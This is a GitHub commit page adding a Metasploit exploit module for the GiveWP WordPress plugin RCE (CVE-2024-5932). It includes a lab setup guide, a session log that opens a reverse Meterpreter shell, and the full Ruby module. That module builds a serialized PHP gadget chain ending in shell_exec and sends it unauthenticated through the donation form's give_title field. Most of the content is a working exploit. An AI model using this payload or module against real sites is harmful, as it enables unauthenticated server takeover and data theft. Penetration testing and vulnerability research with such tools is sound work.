Skip to content

Commit

Permalink
Land #19424, WordPress GiveWP Plugin RCE
Browse files Browse the repository at this point in the history
  • Loading branch information
adfoster-r7 authored Aug 28, 2024
2 parents 3bab527 + 71ee987 commit 84ffa52
Show file tree
Hide file tree
Showing 3 changed files with 266 additions and 0 deletions.
1 change: 1 addition & 0 deletions data/wordlists/wp-exploitable-plugins.txt
Original file line number Diff line number Diff line change
Expand Up @@ -62,3 +62,4 @@ file-manager-advanced-shortcode
royal-elementor-addons
backup-backup
hash-form
give
94 changes: 94 additions & 0 deletions documentation/modules/exploit/multi/http/wp_givewp_rce.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,94 @@
## Vulnerable Application

This Metasploit module exploits an unauthenticated PHP Object Injection vulnerability in the
GiveWP plugin for WordPress (versions <= 3.14.1).
The vulnerability is present in the 'give_title' parameter, allowing attackers to inject a crafted
PHP object leading to remote code execution (RCE) when combined with a suitable POP chain.

## Setup

1. **Docker Compose Setup**: Create the following `docker-compose.yml` file to set up a vulnerable WordPress environment:

```yaml
services:
db:
image: mysql:8.0.27
command: '--default-authentication-plugin=mysql_native_password'
restart: always
environment:
- MYSQL_ROOT_PASSWORD=somewordpress
- MYSQL_DATABASE=wordpress
- MYSQL_USER=wordpress
- MYSQL_PASSWORD=wordpress
expose:
- 3306
- 33060

wordpress:
image: wordpress:6.3.2
ports:
- "80:80"
restart: always
environment:
- WORDPRESS_DB_HOST=db
- WORDPRESS_DB_USER=wordpress
- WORDPRESS_DB_PASSWORD=wordpress
- WORDPRESS_DB_NAME=wordpress
volumes:
db_data:
```
1. Run Docker: `docker compose up`
1. Access the WordPress instance at `http://127.0.0.1` and complete the installation process
1. **Download and Install Vulnerable GiveWP Plugin**:
- Download the plugin: [GiveWP 3.14.1](https://downloads.wordpress.org/plugin/give.3.14.1.zip)
- Unzip the plugin and copy it to the Docker container:
```bash
docker compose cp give wordpress:/var/www/html/wp-content/plugins
```
- Access the WordPress instance at `http://localhost` and activate the GiveWP plugin via the admin dashboard.

1. **Create a Donation Form**:
- Navigate to the "Forms" section within the GiveWP plugin and click on "Add Form."
- Select any form.
- Configure the form as needed, publish it.

## Options

No specific options need to be configured.

## Verification Steps

1. Start `msfconsole`.
2. Use the module with `use exploit/multi/http/wp_givewp_rce`.
3. Set `RHOSTS`, `RPORT`, and the necessary WordPress-specific options.
4. Run the exploit.
5. Gain a Meterpreter session.

## Scenarios

### GiveWP Plugin version: 3.14.1 (Dockerized WordPress Version 6.3.2)

Using `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```bash
msf6 > use exploit/multi/http/wp_givewp_rce
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_givewp_rce) > run http://127.0.0.1:8888
[*] Started reverse TCP handler on 192.168.1.36:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] WordPress Version: 6.3.2
[+] Detected GiveWP Plugin version: 3.14.1
[+] The target appears to be vulnerable.
[+] Successfully retrieved form list. Available Form IDs: 8, 10, 13
[*] Using Form ID: 13 for exploitation.
[*] Sending stage (3045380 bytes) to 172.24.0.3
[*] Meterpreter session 1 opened (192.168.1.36:4444 -> 172.24.0.3:51272) at 2024-08-27 22:11:22 +0200
meterpreter > sysinfo
Computer : 172.24.0.3
OS : Debian 11.8 (Linux 5.15.0-119-generic)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
```
171 changes: 171 additions & 0 deletions modules/exploits/multi/http/wp_givewp_rce.rb
Original file line number Diff line number Diff line change
@@ -0,0 +1,171 @@
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'GiveWP Unauthenticated Donation Process Exploit',
'Description' => %q{
The GiveWP Donation Plugin and Fundraising Platform plugin for WordPress in all versions up to and including 3.14.1 is vulnerable to a PHP Object Injection (POI) attack granting an unauthenticated arbitrary code execution.
},

'License' => MSF_LICENSE,
'Author' => [
'Villu Orav', # Initial Discovery
'EQSTSeminar', # Proof of Concept
'Julien Ahrens', # Vulnerability Analysis
'Valentin Lobstein' # Metasploit Module
],
'References' => [
['CVE', '2024-5932'],
['URL', 'https://github.com/EQSTSeminar/CVE-2024-5932'],
['URL', 'https://www.rcesecurity.com/2024/08/wordpress-givewp-pop-to-rce-cve-2024-5932'],
['URL', 'https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin']
],
'DisclosureDate' => '2024-08-25',
'Platform' => %w[unix linux win],
'Arch' => [ARCH_CMD],
'Privileged' => false,
'Targets' => [
[
'Unix/Linux Command Shell',
{
'Platform' => %w[unix linux],
'Arch' => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
'Windows Command Shell',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)
end

def check
return CheckCode::Unknown unless wordpress_and_online?

print_status("WordPress Version: #{wordpress_version}") if wordpress_version
check_code = check_plugin_version_from_readme('give', '3.14.2')
return CheckCode::Safe unless check_code.code == 'appears'

print_good("Detected GiveWP Plugin version: #{check_code.details[:version]}")
CheckCode::Appears
end

def exploit
forms = fetch_form_list
fail_with(Failure::UnexpectedReply, 'No forms found.') if forms.empty?

selected_form = forms.sample
valid_form = retrieve_and_analyze_form(selected_form['id'])

return print_error('Failed to retrieve a valid form for exploitation.') unless valid_form

print_status("Using Form ID: #{valid_form['give_form_id']} for exploitation.")
send_exploit_request(
valid_form['give_form_id'],
valid_form['give_form_hash'],
valid_form['give_price_id'],
valid_form['give_amount']
)
end

def fetch_form_list
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'data' => 'action=give_form_search'
)

return print_error('Failed to retrieve form list.') unless res&.code == 200

forms = JSON.parse(res.body)
form_ids = forms.map { |form| form['id'] }.sort

print_good("Successfully retrieved form list. Available Form IDs: #{form_ids.join(', ')}")
forms
end

def retrieve_and_analyze_form(form_id)
form_res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'vars_post' => { 'action' => 'give_donation_form_nonce', 'give_form_id' => form_id }
)

return unless form_res&.code == 200

form_data = JSON.parse(form_res.body)
give_form_id = form_id
give_form_hash = form_data['data']
give_price_id = '0'
give_amount = '$10.00'
# Somehow, can't randomize give_price_id and give_amount otherwise the exploit won't work.

return unless give_form_hash

{
'give_form_id' => give_form_id,
'give_form_hash' => give_form_hash,
'give_price_id' => give_price_id,
'give_amount' => give_amount
}
end

def send_exploit_request(give_form_id, give_form_hash, give_price_id, give_amount)
final_payload = format(
'O:19:"Stripe\\\\\\\\StripeObject":1:{s:10:"\\0*\\0_values";a:1:{s:3:"foo";' \
'O:62:"Give\\\\\\\\PaymentGateways\\\\\\\\DataTransferObjects\\\\\\\\GiveInsertPaymentData":1:{' \
's:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\\0*\\0container";' \
'O:33:"Give\\\\\\\\Vendors\\\\\\\\Faker\\\\\\\\ValidGenerator":3:{s:12:"\\0*\\0validator";' \
's:10:"shell_exec";s:12:"\\0*\\0generator";' \
'O:34:"Give\\\\\\\\Onboarding\\\\\\\\SettingsRepository":1:{' \
's:11:"\\0*\\0settings";a:1:{s:8:"address1";s:%<length>d:"%<encoded>s";}}' \
's:13:"\\0*\\0maxRetries";i:10;}}}}}}',
length: payload.encoded.length,
encoded: payload.encoded
)

data = {
'give-form-id' => give_form_id,
'give-form-hash' => give_form_hash,
'give-price-id' => give_price_id,
'give-amount' => give_amount,
'give_first' => Faker::Name.first_name,
'give_last' => Faker::Name.last_name,
'give_email' => Faker::Internet.email,
'give_title' => final_payload,
'give-gateway' => 'offline',
'action' => 'give_process_donation'
}

send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'wp-admin', 'admin-ajax.php'),
'data' => URI.encode_www_form(data)
}, 0)
end
end

0 comments on commit 84ffa52

Please sign in to comment.